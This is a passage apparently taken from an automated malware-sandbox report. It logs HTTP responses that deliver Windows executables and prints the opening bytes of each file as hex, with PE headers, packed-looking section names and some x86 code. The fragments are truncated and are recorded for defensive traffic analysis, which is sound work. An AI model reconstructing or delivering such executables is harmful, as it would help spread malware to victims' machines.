00 29 18 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 77 6b 6a 6e 70 6d 73 00 20 2b 00 00 a0 00 00 00 1e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 67 69 6e 63 61 67 78 00 20 00 00 00 c0 2b 00 00 04 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:17:00 GMTContent-Type: application/octet-streamContent-Length: 884736Last-Modified: Mon, 16 Dec 2024 11:35:11 GMTConnection: keep-aliveETag: "6760106f-d8000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 29 18 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 77 6b 6a 6e 70 6d 73 00 20 2b 00 00 a0 00 00 00 1e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 67 69 6e 63 61 67 78 00 20 00 00 00 c0 2b 00 00 04 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:17:04 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:17:16 GMTContent-Type: application/octet-streamContent-Length: 1822720Last-Modified: Mon, 16 Dec 2024 11:36:47 GMTConnection: keep-aliveETag: "676010cf-1bd000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 0b 36 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 6c 69 67 77 6a 63 00 30 1a 00 00 90 4f 00 00 2a 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6e 7a 6b 64 6f 63 65 00 10 00 00 00 c0 69 00 00 06 00 00 00 a8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 69 00 00 22 00 00 00 ae 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:17:18 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:17:25 GMTContent-Type: application/octet-streamContent-Length: 4469760Last-Modified: Mon, 16 Dec 2024 10:58:14 GMTConnection: keep-aliveETag: "676007c6-443400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b1 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e0 4b 00 00 64 71 00 00 32 00 00 00 80 c3 00 00 10 00 00 00 f0 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c3 00 00 04 00 00 1b 76 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f c0 6e 00 73 00 00 00 00 b0 6e 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 65 c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 64 c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 6e 00 00 10 00 00 00 40 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 b0 6e 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 6e 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 38 00 00 d0 6e 00 00 02 00 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 6c 7a 74 79 75 61 61 00 c0 1b 00 00 b0 a7 00 00 b8 1b 00 00 56 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6b 70 72 72 76 76 71 00 10 00 00 00 70 c3 00 00 04 00 00 00 0e 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 c3 00 00 22 00 00 00 12 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 12:17:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 12:17:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 